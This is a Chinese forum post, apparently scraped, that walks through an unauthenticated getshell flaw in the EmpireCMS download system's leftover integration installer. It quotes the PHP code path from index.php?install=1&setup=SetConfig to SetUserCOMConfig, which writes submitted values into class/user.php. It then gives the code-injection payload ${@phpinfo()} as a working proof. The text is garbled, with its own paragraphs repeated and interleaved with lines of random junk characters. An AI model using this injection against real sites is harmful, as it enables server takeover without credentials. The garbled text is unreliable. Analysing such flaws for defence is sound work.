这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
' ^( \! q2 t7 A& L& [: s h9 ^# O: J5 O! v H: ?0 ?+ T/ s+ M
& t9 X' v4 x, W. t/ T: U% N1 ]- }这是帝国的一套下载系统 如图. o9 f1 I; v) ?
ps(不需要任何账户和密码,直接写shell) ! [) i9 l" `! ~. b8 n3 ]
由于很多站是由于下载要整合discuz 等等一些论坛....$ s# a! b" y4 n( Z, S
& n% S9 n1 L$ \/ j$ f+ y
而帝国他又有一个万能接口,如图
b6 k) X1 o q" A
: B. s, F# q! Y% `" J+ t9 f2 h0 s! p- g; s
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
- P) D9 U+ g: _( x$ @6 u; p) |
3 d! c6 v' A+ b' n当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
6 U' d; g2 C1 C9 d6 {( w
* y7 ?4 K# Y- Q& r; p0 g Q在data/fun.php中的15行' }5 a; I+ ]6 g0 B: r" K5 H& v
. ]& f# J7 F: u. z我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {: K9 ]& v5 v$ l# k
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干% d) C1 {. } C. X
7 @# [" t0 \4 g+ l# u7 X
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
+ \2 A9 }8 l7 Q+ o6 P3 l
' _/ v/ k2 G4 U3 Q$ @- E* F3 u9 Z他将传进来的变量进行了切割,然后赋给了$filetext) z d8 g0 I6 `7 c
' ~( n) A7 d# v3 ?+ k4 i$ q. L4 ^
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
7 W6 b0 m' `! A6 d( R
( x g+ I0 w2 N% `, E我们看看写入的结果,随便填一个
: }& e: m. k& f3 h* O3 D% }7 T3 r4 w( o* Q/ d
f# V% A7 u6 e
1 F' {4 b; @! X8 |4 V
+ h" a3 L# x8 O+ f* ~8 X% W ]' H2 L: q% x* n- ?/ _7 X) |
3 y. D6 A: |3 T/ Y; P2 c( @" m
7 A; ?/ w9 p( O
! D5 r! e6 f0 e8 R( p" m
4 d% F6 s5 M; y' a. l
6 X& ]6 h! U+ U9 N
+ H- p3 q* X9 m
) F+ e5 \+ d7 z. l
* a4 l- V! V& x8 [, ]8 o% W, K O, c e, M, T, p$ i
7 A" B+ b, v6 w- o+ U0 F( I( B! i) G1 E1 I' a3 T: d7 k% S) U5 m. c
+ _" j( T* l. R4 D' L! d- I4 q) Z6 P0 ?
; a9 C+ T. O& N: B2 A
& @, i4 y1 O+ a! Y, c" A3 W: n
0 l G" T) ]% L9 W
所以我们淫荡点,写个${@phpinfo()}试试
0 ]% L# c, t. Z, D* V, A: J然后访问以下class/user.php这个文件
$ b$ r5 Y7 _/ G. O日了吧
2 x3 j8 s. H+ t" M- V/ g, P6 r
# r5 @9 E2 }9 Z) }. R2 w& e1 l+ n/ P, x6 ^& i, V$ ~- O6 V1 U
* F8 g- T2 m \% ^6 _
, @; x# X- M' P. Q
9 T( I1 r/ c% H% [7 J! Y |